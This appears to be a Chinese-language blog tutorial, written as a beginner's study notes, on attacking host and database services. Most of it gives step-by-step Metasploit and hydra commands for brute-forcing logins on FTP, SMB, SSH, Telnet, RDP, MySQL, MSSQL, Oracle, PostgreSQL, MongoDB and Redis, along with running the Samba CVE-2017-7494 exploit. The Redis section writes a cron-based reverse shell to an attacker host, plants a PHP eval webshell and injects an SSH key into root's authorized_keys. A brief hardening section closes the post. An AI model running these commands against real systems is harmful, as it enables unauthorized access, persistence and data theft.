主机与数据库安全
<span style="color:red;">红色</span>
学习目标
章节 | 学习目标 |
---|---|
主机共享端口及漏洞利用/检测 | 掌握FTP服务的爆破方式 掌握sambs服务的爆破方式 |
主机远程连接端口及漏洞利用/检测 | 掌握SSH服务的爆破方式 掌握Telnet服务的爆破方式 掌握RDP服务的爆破方式 |
数据库服务端口及漏洞利用/检测 | 了解数据库间的差异 掌握MySql数据库的暴力破解 掌握Postgresql数据库的暴力破解 掌握mongodb数据库的暴力破解 掌握redis服务未授权访问方式及Getshell |
主机共享端口及漏洞检测/利用
FTP暴力破解
ftp的爆破工具有很多,常见的暴力破解工具有hydra、medusa、超级弱口令爆破工具等,推荐使用msf中的ftp模块、超级弱口令爆破工具
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.109.134
set USER_FILE /home/dic/dic_username_ftp.txt
set PASS_FILE /home/dic/dic_password_ftp.txt
set THREADS 30
run
Samba暴力破解
默认端口:137、135、139、445等
Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;
samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:445
SMB(Server Message Block) Windows协议族,用于文件和打印共享服务。
msf > use auxiliary/scanner/smb/smb_login(使用smb_login模块)msf auxiliary(smb_login) >
show options(查看选项)
msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标)
msf auxiliary(ssmb_login) > set USER_FILE/root/username.txt(用户名字典,或指定用户)
msf auxiliary(ssmb_login) > set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(ssmb_login) > exploit(开始)
Samba远程代码执行(CVE-2017-7494)
使用Msfploit攻击
exploit/linux/samba/is_known_pipename
set RHOST 192.168.109.134
exploit
Samba永痕之蓝漏洞
使用msf检测
use auxiliary/scanner/smb/smb_ms17_010
set rhosts10.0.0.1-10.0.0.254
set rport 445
exploit
主机远程连接端口及漏洞利用/检测
SSH暴力破解
测试工具:hydra、metasploit、超级弱口令检查工具
use auxiliary/scanner/ssh/ssh_logins
et RHOSTS 10.10.10.254
set USER_FILE /root/user.txt
set PASS_FILE /root/words.txt
set THREADS 30
run
Telnet暴力破解
检测工具:hydra、超级弱口令检查工具、mestaploitMestaploit使用
msf > use auxiliary/scanner/teInet/teInet_login(使用telnet login模块)
msf auxiliary(telnet_login) > show options(查看选项)
msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标)
msf auxiliary(telnet_login) > set USER_FILE/root/username.txt(用户名字典,或指定用户)
msf auxiliary(telnet_login) > set PASS_FILE(/root/pass.txt(密码字典文件)
msf auxiliary(telnet_login) > exploit (开始)
RDP暴力破解
工具: hydra、超级弱口令爆破工具 ,御剑RDP爆破工具
hydra ip rdp -l administrator -P pass.txt -V
这里推荐使用御剑RDP爆破工具
数据库服务端口及漏洞利用/检测
常见数据库连接工具
Navicat https://www.navicat.com.cn/
phpMyAdmin https://www.phpmyadmin.net/
sqlyog https://webyog.com/product/sqlyog/
DBeaver https://dbeaver.io/
数据库密码存放位置
数据库名 | 密码存放位置 | 默认用户名/密码 |
---|---|---|
MySql | mysql.user | root /空 |
SQL Server | sys.syslnklgns | sa /sa |
Oracle | SYS.dba_users | internal /oracle system /manager sys /change_on_install |
Postgresql | Postgresql.pg_shadow | Postgresql /空 |
数据库差异
MSSQL | MYSQL | Oracle |
---|---|---|
sa | root | sys / system |
1433 | 3306 | 1521 |
Windows | Windows/Linux | Windows/Linux |
高权限 | 低权限 | 高权限 |
Mysql暴力破解
默认端口:3306
工具:hydra、超级弱口令爆破工具、mestasploit
mestasploit
msf > use auxiliary/scanner/mysql/mysql_login(使用mysql_login模块)
msf auxiliary(mysql_login) > show options(查看选项)
msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标)
msf auxiliary(mysql_login) > set USERNAME root(指定用户)
msf auxiliary(mysql_login) > set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(mysql login) > exploit(开始)
MSSQL(sqlserver)暴力破解
默认端口:1433
工具:hydra、超级弱口令爆破工具、metasploit
mestasploit
msf > use auxiliary/scanner/mssql/mssql_login(使用mssql_login模块)
msf auxiliary(mssql_login) > show options(查看选项)
msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标)
msf auxiliary(mssql_login) > set USER FILE/root/username.txt(用户名字典)
msf auxiliary(mssql_login) >set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(mssql_login) > exploit(开始)
MSF 爆破Oracle
默认端口:1521
Oracle爆破前得需要获取到目标的SID才可以进入下一步爆破的步骤
msf6 > use auxiliary/scanner/oracle/sid_brute
msf6 auxiliary(scanner/oracle/sid_brute) > set rhosts 10.20.24.244
msf6 auxiliary(scanner/oracle/sid_brute) > set threads 10
msf6 auxiliary(scanner/oracle/sid_brute) > run
MSF爆破Oracle 口令
msf6 > use auxiliary/scanner/oracle/oracle_login
msf6 auxiliary(scanner/oracle/oracle_login) > set rhosts 10.20.24.244
msf6 auxiliary(scanner/oracle/oracle_login) > set rports 1521
msf6 auxiliary(scanner/oracle/oracle_login) > set sid helowin //上述爆破出的SID
msf6 auxiliary(scanner/oracle/oracle_login) > set threads 10
msf6 auxiliary(scanner/oracle/oracle_login) > run
Postgresql-暴力破解
默认端口:5432
测试工具:hydra、超级弱口令爆破工具、metasploit
Mestasploit
msf > use auxiliary/scanner/postgres/postgres_login(使用postgres_login模块)
msf auxiliary(postgres_login) > show options(查看选项)
msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标)
msf auxiliary(postgres_login) > set USER_FILE/root/username.txt(用户名字典)
msf auxiliary(postgres_login) >set PASS_FILE/root/pass.txt(密码字典文件)
msf auxiliary(postgres login) > exploit(开始)
mongodb-未授权访问
MongoDB默认端口27017,当配置成无验证时,存在未授权访问,
使用msf中的
scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。
use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
msf auxiliary
set threads 10
exploit
redis服务
安装redis服务
下载地址:https://github.com/microsoftarchive/redis/releases
下载完成后切换到安装目录直接启动redis
redis-server.exe redis.windows.conf
启动完成后当前cmd窗口不要关闭
再打开一个窗口运行如下命令连接redis
redis-cli.exe -h 127.0.0.1 -p 6379
Linux下安装redis
yum install gcc-c++
sudo yum install tcl
下载:
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar zxvf redis-5.0.5.tar.gz
cd redis-5.0.5/src
make
启动redis服务
cd src
./redis-server
#测试客户端程序
./redis-cli -h 127.0.0.1 -p 6379
SET y "Linux Redis is Running"
GET y
输出 "Linux Redis is Running"
Ubuntu安装redis服务
sudo apt-get update
sudo apt-get install redis-server
redis-server
redis-cli
步骤和上述Linux一样,只不过命令不一样而已
搭建redis漏洞环境
踩坑处,修改redis-conf下的配置文件如下
# bind 127.0.0.1
protected-mode no
daemonize no
设置完成后我是直接重启redis服务,实际上一点用没有,要对配置文件进行重启
redis-server redis.conf //这里就是将配置问价和redis服务一块运行,不能结束该进程。
至此环境搭建成功
反弹shell的三种方式
实验环境
kali攻击机 | Centos7靶机 |
---|---|
192.168.1.20 | 192.168.1.41 |
设置crontab定时任务
前提条件,要有写计划任务的权限,且写的计划任务能够被正常执行
攻击机去连接靶机的redis服务
redis-cli -h 192.168.1.41 -p 6379
看到如下信息说明连接成功
攻击机开启nc监听
nc -lvnp 8888
攻击机写如下shell
192.168.1.41:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.20/8888 0>&1\n"
192.168.1.41:6379> config set dir /var/spool/cron/ //设置工作目录
192.168.1.41:6379> config set dbfilename root //设置文件名,当前用户叫啥就得命名为啥,当前用户为root
192.168.1.41:6379> save
最后查看nc监听结果
成功反弹shell,这里我利用ubuntu机器做靶机没有做成功,shell一直弹不回来不知道啥原因,所以我用了Centos。
利用redis写shell
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
实验环境
kali-vps攻击机 | kali-2021靶机 |
---|---|
192.168.1.20 | 192.168.1.32 |
由于要往靶机写入webshell,直接利用kali开启内置的apache服务即可
实验步骤
kali-vps去连接靶机kali-2021的redis服务
直接将shell写入默认的网站路径下
192.168.1.32:6379> config set dir /var/www/html
192.168.1.32:6379> config set dbfilename webshell.php
192.168.1.32:6379> set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
192.168.1.32:6379> save
或者如下(验证那个xxx啥意思)
192.168.1.32:6379> config set dir /var/www/html
192.168.1.32:6379> config set dbfilename webshell2.php
192.168.1.32:6379> set webshell2 "\n\n\n<?php @eval($_POST['webshell2']);?>\n\n\n"
192.168.1.32:6379> save
然后输入webshell的地址,利用中国蚁剑成功getshell
\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
写入SSH公钥免密登录
利用前提:Redis服务在靶机以root身份运行
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
免密登录原理解析:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
实验环境
攻击机kali-vps | 靶机kali-2021 |
---|---|
192.168.1.20 | 192.168.1.32 |
攻击者机器上生成一个公钥
ssh-keygen
cat id_rsa.pub
redis写入公钥,(dbfilename名不可以修改,只能为 authorized_keys)
192.168.1.32:6379> config set dir /root/.ssh/ (目标机器要有此文件件,否则不行。mkdir /root/.ssh)
192.168.1.32:6379> config set dbfilename authorized_keys
192.168.1.32:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYNRrsgPTcCkiQU1gUIYWTFk55QF92DWTIpEt7luru+Qf+87dNkvWzMih2TchixIgzOxdkdx9jl44N0WARa3ow764vKK8xjNYI22knBhASHZSVEAAnl4RBBTw9/qxeGWg2Ayhl1te3Sxm0ZIgIes+RMIqZJOSd4gE6PxUDmeiGLVDWmawcy2bf8MPMgKNqneOlvS3im0DNtHamaEgFYZ7VhtqcGDEI1RfrChGDiltS25cax8oTNZjqVe4SwQgimSlpJhMwz4aP0H+hCIQwEZw2nsxjuapFyrkouzBAw+S7/6TaHGT+VtW3onXpM79hWIj+PD9yUt6A5xGshtncORkfHB07tYd2qwPgABdyq/oyh3qXiFg42VTqbDkU9gnZ6NkF22Q33d0XruBH8eYjJfJ7aJvTkIXXS2lNI6s5KKspZ5R1nphOKcoc60xhUGPipZTsnyj17Ex0mZwpW7VTOQduzF1CFZeb5fUzNVb0q4W1ijnw7/vAjAVYQhRoHtRlL2k= root@kali \n\n"
192.168.1.32:6379> save
上传成功后直接利用公钥登录即可
ssh -i id_rsa root@192.168.1.32
无需输入密码
修复方案
绑定IP白名单
将127.0.0.1修改为你想要登录的redis服务器的地址。启动的时候需要带上配置文件一块启动redis-server redis.conf
开启保护模式,不允许远程连接redis服务将no 改为yes
protected-mode no
修改默认端口
设置密码,提供远程登录
打开redis.conf配置文件,找到requirepass,然后修改如下:
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
redis-暴力破解
use auxiliary/scanner/redis/redis_login
set RHOST 192.168.1.20
用户名密码端口啥的
叮咚
萌新小白写的博客,有错误还请大家指出,互相学习,共同进步。